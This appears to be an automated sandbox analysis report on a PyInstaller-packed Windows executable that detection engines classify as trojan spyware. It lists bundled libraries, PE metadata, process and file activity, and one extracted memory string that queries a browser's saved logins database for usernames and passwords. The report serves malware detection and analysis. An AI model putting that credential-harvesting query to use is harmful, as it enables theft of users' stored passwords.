Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: String function: 00007FF7DA8D2770 appears 82 times
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: String function: 00007FFCFD8624B9 appears 42 times
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: String function: 00007FFCFD861EF1 appears 416 times
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: String function: 00007FFCFD86483B appears 42 times
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: String function: 00007FFCFD86300D appears 50 times
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: String function: 00007FFCFD864057 appears 264 times
Source: unicodedata.pyd.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: api-ms-win-core-processenvironment-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.0.drStatic PE information: No import functions for PE file found
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255478477.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255782102.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.257428994.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255603845.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256078416.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256998026.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255019183.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256710021.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.260232942.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesqlite3.dll0 vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.257593904.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameselect.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255987368.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255842075.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255519359.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256624298.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256260543.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256526003.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.254382087.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255729722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.260478511.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameucrtbase.dllj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DCD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256015494.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255568176.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.257195509.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256962278.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.257231477.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.254482843.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_decimal.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.257308921.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.257391615.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.259054046.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibsslH vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256283797.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255103306.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.254230532.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.257061462.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256342465.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_hashlib.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.256791919.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.257898319.0000025976DCC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.257481371.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameapisetstubj% vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exeBinary or memory string: OriginalFilename vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.338254047.00007FFD10186000.00000002.00000001.01000000.0000000B.sdmpBinary or memory string: OriginalFilename_sqlite3.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.337690930.00007FFD04455000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: OriginalFilename_lzma.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.338408218.00007FFD1289B000.00000002.00000001.01000000.00000007.sdmpBinary or memory string: OriginalFilename_ctypes.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.335503590.00007FFD0199B000.00000002.00000001.01000000.00000012.sdmpBinary or memory string: OriginalFilenamelibsslH vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpBinary or memory string: OriginalFilenameunicodedata.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.333782856.00007FFCFDD03000.00000002.00000001.01000000.0000000C.sdmpBinary or memory string: OriginalFilenamesqlite3.dll0 vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.338184851.00007FFD0F7E2000.00000002.00000001.01000000.0000000F.sdmpBinary or memory string: OriginalFilename_socket.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.337897657.00007FFD048B6000.00000002.00000001.01000000.00000013.sdmpBinary or memory string: OriginalFilename_queue.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.337595425.00007FFD04425000.00000002.00000001.01000000.00000011.sdmpBinary or memory string: OriginalFilename_ssl.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.335231146.00007FFCFE170000.00000002.00000001.01000000.00000005.sdmpBinary or memory string: OriginalFilenamepython310.dll. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.338349238.00007FFD111D2000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: OriginalFilename_bz2.pyd. vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpBinary or memory string: OriginalFilenamelibcryptoH vs 4Vp6Xc8SFr.exe
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.338554631.00007FFD19B17000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: OriginalFilenamevcruntime140.dllT vs 4Vp6Xc8SFr.exe
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeSection loaded: python3.dllJump to behavior
Source: 4Vp6Xc8SFr.exeReversingLabs: Detection: 45%
Source: 4Vp6Xc8SFr.exeVirustotal: Detection: 60%
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Users\user\Desktop\4Vp6Xc8SFr.exeJump to behavior
Source: 4Vp6Xc8SFr.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\4Vp6Xc8SFr.exe C:\Users\user\Desktop\4Vp6Xc8SFr.exe
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeProcess created: C:\Users\user\Desktop\4Vp6Xc8SFr.exe C:\Users\user\Desktop\4Vp6Xc8SFr.exe
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeProcess created: C:\Users\user\Desktop\4Vp6Xc8SFr.exe C:\Users\user\Desktop\4Vp6Xc8SFr.exeJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI52202Jump to behavior
Source: classification engineClassification label: mal72.troj.spyw.winEXE@3/103@14/5
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SELECT action_url, username_value, password_value FROM logins;
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.333608899.00007FFCFDCD2000.00000002.00000001.01000000.0000000C.sdmpBinary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.333608899.00007FFCFDCD2000.00000002.00000001.01000000.0000000C.sdmpBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.333608899.00007FFCFDCD2000.00000002.00000001.01000000.0000000C.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.333608899.00007FFCFDCD2000.00000002.00000001.01000000.0000000C.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.333608899.00007FFCFDCD2000.00000002.00000001.01000000.0000000C.sdmpBinary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.333608899.00007FFCFDCD2000.00000002.00000001.01000000.0000000C.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.333608899.00007FFCFDCD2000.00000002.00000001.01000000.0000000C.sdmpBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8D7420 GetLastError,FormatMessageW,WideCharToMultiByte,0_2_00007FF7DA8D7420
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile opened: C:\Users\user\Desktop\pyvenv.cfgJump to behavior
Source: 4Vp6Xc8SFr.exeStatic PE information: Image base 0x140000000 > 0x60000000
Source: 4Vp6Xc8SFr.exeStatic file information: File size 9489558 > 1048576
Source: 4Vp6Xc8SFr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 4Vp6Xc8SFr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 4Vp6Xc8SFr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 4Vp6Xc8SFr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 4Vp6Xc8SFr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 4Vp6Xc8SFr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: 4Vp6Xc8SFr.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: 4Vp6Xc8SFr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257276309.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257428994.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\sqlite3.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.333608899.00007FFCFDCD2000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255729722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.338072096.00007FFD04BB3000.00000002.00000001.01000000.00000004.sdmp
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256211868.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255519359.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256814450.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257207150.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_queue.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.337874153.00007FFD048B3000.00000002.00000001.01000000.00000013.sdmp
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257481371.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_ssl.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.337540020.00007FFD0440D000.00000002.00000001.01000000.00000011.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_lzma.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.337643719.00007FFD0444C000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255932396.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256962278.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256710021.0000025976DCC000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257170724.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255568176.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_ctypes.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.338389314.00007FFD12890000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256342465.0000025976DCC000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255252884.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255603845.0000025976DCC000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: 4Vp6Xc8SFr.exe, 00000001.00000002.335464508.00007FFD01966000.00000002.00000001.01000000.00000012.sdmp
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257129910.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_socket.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254230532.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.338538781.00007FFD19B11000.00000002.00000001.01000000.00000006.sdmp
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256526003.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\unicodedata.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DCD000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdbUGP source: 4Vp6Xc8SFr.exe, 00000001.00000002.338072096.00007FFD04BB3000.00000002.00000001.01000000.00000004.sdmp
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.258048029.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\select.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.338283175.00007FFD10D23000.00000002.00000001.01000000.00000010.sdmp
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255842075.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256764108.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\libssl-1_1.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.335464508.00007FFD01966000.00000002.00000001.01000000.00000012.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\python310.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.334748634.00007FFCFE052000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_bz2.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.338332746.00007FFD111CD000.00000002.00000001.01000000.00000009.sdmp
